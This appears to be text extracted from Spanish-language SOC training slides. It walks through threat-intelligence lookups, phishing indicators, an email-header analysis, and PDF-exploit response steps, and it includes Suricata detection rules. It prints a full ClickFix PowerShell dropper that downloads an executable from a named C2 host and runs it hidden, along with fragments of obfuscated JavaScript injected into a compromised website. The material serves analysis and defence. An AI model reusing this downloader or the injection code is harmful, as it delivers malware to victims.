














La aseguradora Adeslas, el pasado 9 de 
octubre sufrió un ataque de 
ransomware de sus servidores, 
apagándola digitalmente por 
completo, que afectó a millones de 
usuarios. Los sistemas informáticos, 
como los que gestionan las 
autorizaciones de pruebas médicas y 
las pólizas de los usuarios, dejaron de 
funcionar de un día para otro.











¿Qué hacemos con esta 
información? 

mtn.com
klopsmc.pl/es

¡NO ENTREIS EN LAS WEBs / IPs!

abuseipdb.com
virustotal.com
expandurl.net
screenshotmachine.com
web.archive.org
dnshistory.org
rdap.org
any.run
dig
Nslookup











¿Qué hacemos con 
esta información? 

therugest.com
encuentronudista.org/re/config

abuseipdb.com
virustotal.com
screenshotmachine.com
web.archive.org
whois / rdap.org
dig
Nslookup

¡NO ENTREIS EN LAS WEBs / IPs!





any.run



view-source:https://encuentronudista.org/
https://www.view-page-source.com/

<script>(function(){var
k=200,d="4K69pqu8oaem4OGzw
r6puuiLifXv ….
….
Hmq6m8q6Dgrr2mq7yhp6bg4bO1
4fPCteHg4fPC",i,s=atob(d),r=new 
Uint8Array(s.length);for(i=0;i<s.len
gth;i++)r[i]=s.charCodeAt(i)^k;try{(
new Function(new 
TextDecoder().decode(r)))()



view-source:https://encuentronudista.org/
https://www.view-page-source.com/

(function(){var
CA='0x08207B087F61d7e95E441
E15fd6d40BEfd6eD308';var 
RPC=["https://polygon.drpc.org","
https://polygon-bor-
rpc.publicnode.com","https://pol
ygon.lava.build","https://polygon.
rpc.subquery.network/public","htt









<# I am not a robot - Cloudflare ID: 54f7932d99ed0b67 #>  
$k='svcTOY';$d='571316372d23194b440f1c2000020639611716024d072a2b05';$r='';for($p=0;$p -lt
$d.Length;$p+=2){$r+=[char](([convert]::ToInt32($d.Substring($p,2),16))-
bxor[int][char]$k[$p/2%$k.Length])};&([ScriptBlock]::Create($r))



<# I am not a robot - Cloudflare ID: 54f7932d99ed0b67 #>  
$k='svcTOY';$d='571316372d23194b440f1c2000020639611716024d072a2b05';$r='';for($p=0;$p -lt
$d.Length;$p+=2){$r+=[char](([convert]::ToInt32($d.Substring($p,2),16))-
bxor[int][char]$k[$p/2%$k.Length])};&([ScriptBlock]::Create($r))

[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12
$t=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName())
New-Item -ItemType Directory -Path $t -Force | Out-Null
$f=Join-Path $t ([System.IO.Path]::GetRandomFileName()+'.exe')

$ok=0
for($i=0;$i -lt 3 -and -not $ok;$i++){

try{
Invoke-WebRequest -Uri 

'https://ap7[.]supportly[.]au/api/index.php?a=dl&token=fcdd5b796fbf5cb5614da7aaa4773fb404771c4821e4b
8d30305ed8df58a2188&src=cloudflare&mode=cloudflare' -OutFile $f -UseBasicParsing

if(Test-Path $f){ $ok=1 } else { Start-Sleep -Seconds 2 }
} catch {

Start-Sleep -Seconds 2
}

}

if(-not (Test-Path $f)){ exit }
Start-Process -FilePath $f -WindowStyle Hidden
try { Remove-Item -LiteralPath $f -Force -ErrorAction SilentlyContinue } catch {}



¿Cómo lo identificamos?

Reglas de detección



Formas de detección

Si se conecta a ap7.supportly.au → está contactando con el un C2 conocido.
Si se conecta a polygon.drpc.org → ¿su trabajo es blockchain?
Si hay un script ofuscado → puede ser peligroso, pero no se sabe seguro.
En un equipo sucede esta secuencia : 

1- Ejecuta script ofuscado
2- Ejecuta powershell en modo oculto
3- Aparece un .exe en un directorio temporal
4- Ese .exe se conecta a un servidor externo

5 equipos se conectan al mismo dominio por primera

Firma vs Heurística vs Comportamiento vs Correlación 



# Detecta la resolución DNS del dominio usado por la muestra

alert dns $HOME_NET any -> $EXTERNAL_NET any (
msg:"MALWARE-C2 ClickFix/PowerShell downloader DNS query for ap7.supportly.au";
dns.query;
content:"ap7.supportly.au";)

# Detecta el SNI TLS hacia el dominio de descarga
alert tls $HOME_NET any -> $EXTERNAL_NET any (

msg:"MALWARE-C2 ClickFix/PowerShell downloader TLS SNI ap7.supportly.au";
flow:established,to_server;
tls.sni;
content:"ap7.supportly.au";)











Comparar texto visible vs URL real



Comparar texto visible vs URL real
Acortadores

TinyURL
Tiny.cc
Bit.ly
is.gd



Comparar texto visible vs URL real
Acortadores
Punycode (xn-- en resolución DNS)



Comparar texto visible vs URL real
Acortadores
Punycode (xn-- en resolución DNS)
Dominios engañosos, letras sustituidas

https://vpn.imaps.net/login



Comparar texto visible vs URL real
Acortadores
Punycode (xn-- en resolución DNS)
Dominios engañosos, letras sustituidas
Subdominios engañosos, prefijos que simulan TLD

https://acceso.imaspe.net.badsite.net



Comparar texto visible vs URL real
Acortadores
Punycode (xn-- en resolución DNS)
Dominios engañosos, letras sustituidas
Subdominios engañosos, prefijos que simulan TLD
Imágenes únicas (URLs largas). Pixel de seguimiento oculto

<img style="“position: absolute;" src="“Tracking">

<img style="“display: none”;" src="“Tracking">

<img src="“Tracking" width="“0”" height="“0”">



Comparar texto visible vs URL real
Acortadores
Punycode (xn-- en resolución DNS)
Dominios engañosos, letras sustituidas
Subdominios engañosos, prefijos que simulan TLD
Imágenes únicas (URLs largas). Pixel oculto
Adjuntos con doble extensión pdf.exe
Comprimidos cifrados
Adjuntos .html/.htm
QR adjuntos o embebidos
Poco texto y una imagen





v=spf1 include:_spf.google.com ip4:1.2.3.4 ~all



DKIM-Signature: v=1; a=rsa-sha256; 

d=example.com; s=s1;h=from:to:subject; 

bh=uMixy0BsCqhbru4fqPZQdeZY5Pq865sNAnOAxNgUS0

s=;b=LiIvJeRyqMo0gngiCygwpiKphJjYezb5kXBKCNj8

DqRVcCk7obK6OUg4o+EufEbB...



v=DMARC1; p=none; 

rua=mailto:dmarc@yourdomain.com





Received

from mx.jag.gba.gob.ar 
([170.155.251.10]:51536 
helo=mail.jag.gba.gob.ar) by nl1-
ss108.a2hosting.com ... for
carlos@carlosmelero.com; Sat, 28 Mar 
2026 12:00:16 +0100

La añadió el servidor receptor y muestra una conexión 
SMTP real desde la IP pública 170.155.251.10, asociada a la 
infraestructura emisora. Indica que el mensaje no parece 
un spoofing básico enviado desde un tercero cualquiera.

SPF SPF_PASS SPF: sender matches SPF record

La IP emisora estaba autorizada por la política SPF del 
dominio remitente. Refuerza que el correo salió por 
infraestructura permitida por jag.gba.gob.ar.

DKIM
DKIM_VALID_AU, DKIM_VALID_EF, 
DKIM_VALID, DKIM_SIGNED

El mensaje llevaba firma DKIM válida para el dominio 
autor y el envelope-from. Esto respalda que el correo fue 
procesado por un sistema con acceso legítimo a la firma 
del dominio.

From
"The illuminati" 
<mrecalde@jag.gba.gob.ar>

El nombre visible es claramente fraudulento, pero la 
dirección pertenece al dominio institucional. La 
combinación es consistente con abuso de cuenta, 
compromiso o envío indebido desde cuenta real.

Subject Membresía de los Illuminati

El asunto constituye un indicador claro de contenido 
fraudulento o scam. Aporta contexto sobre la intención 
del mensaje, no sobre la autenticidad técnica del origen.



X-Mailer
Zimbra 10.1.10_GA_4200003 (ZimbraWebClient -
FF149 (Win)/10.1.10_GA_4200003)

Sugiere envío desde Zimbra Webmail. Es compatible con uso 
interactivo de una cuenta real, más que con una falsificación SMTP 
externa simple.

X-
Originating-
IP

[10.40.0.10]

Indica origen interno o privado dentro de la red del remitente. Es 
útil para correlación con logs, aunque esta cabecera por sí sola no 
es concluyente porque puede depender de cómo la plataforma la 
genere.

Message-ID
<403755783.2288742.1774693625200.JavaMail.zi
mbra@jag.gba.gob.ar>

Identificador coherente con JavaMail/Zimbra y con el dominio 
emisor. Apoya la hipótesis de generación interna en la plataforma 
legítima.

X-Virus-
Scanned

amavis at jag.gba.gob.ar

Indica que el mensaje pasó por la cadena interna de filtrado del 
entorno del remitente. Refuerza que fue tratado por su MTA real 
antes de salir al exterior.

Received
interno

from mail.jag.gba.gob.ar ([127.0.0.1]) by localhost 
... (amavis, port 10026/10032)

Muestra procesamiento local entre Postfix y Amavis. Es típico de 
una arquitectura de correo legítima con filtrado interno.

Reputación 
IP

RCVD_IN_HOSTKARMA_BL [170.155.251.10 listed 
in hostkarma.junkemailfilter.com]

La IP emisora presentaba mala reputación en al menos una 
blacklist. Aporta contexto de riesgo o abuso previo, pero no prueba 
por sí sola compromiso actual.

Cabecera 
ausente

MISSING_HEADERS Missing To: header
La ausencia de To: es compatible con envío por BCC o campañas 
masivas. Es un indicador operativo frecuente en spam o phishing.





¿Qué tecnología permite al SOC ver cada 

elemento?



¿Qué tecnología 

permite al SOC ver 

cada elemento?



































Desde diciembre de 2025

Al abrir el PDF, se ejecuta JavaScript 
ofuscado dentro del archivo. Ese código 
recopila información del equipo —como 
idioma, versión del sistema operativo, 
versión de Adobe Reader y ruta local del 
PDF— y la envía a un servidor 
controlado por el atacante. Además, el 
PDF puede recibir desde ese servidor 
exploits adicionales, incluso de 
ejecución remota de código o evasión 
del sandbox.



Subid temporalmente la criticidad de todo PDF entrante externo. Todo PDF recibido desde fuera de la red debe ser 
revisado.

Bloquead y alertad por los IOCs de red ya publicados: ado-read-parser[.]com, IPs 169.40.2.68:45191 y 
188.214.34.20:34123, y cread una alerta específica para tráfico HTTP/HTTPS con el User-Agent Adobe Synchronizer. 

Cread detecciones EDR/XDR centradas en Adobe Reader/Acrobat. AdobeCollabSync.exe realizando conexiones 
salientes

Detección por cadenas o telemetría relacionada con llamadas PDF JavaScript a RSS.addFeed() y 
util.readFileIntoStream()

Alerta crítica ante presencia de yummy_adobe_exploit_uwu.pdf o Invoice540.pdf y hashes publicados [6, hasta ahora].

Crear alerta en base a secuencia email con PDF externo → apertura en Reader/Acrobat → conexión saliente de 
Reader/AdobeCollabSync → resolución DNS o salida al dominio/IP sospechosa

Aplicad contención agresiva en cualquier host sospechoso. Aislar equipo, preservar PDF.

Mandad una comunicación breve a usuarios y Service Desk

Monitorización diaria de boletines de Adobe.
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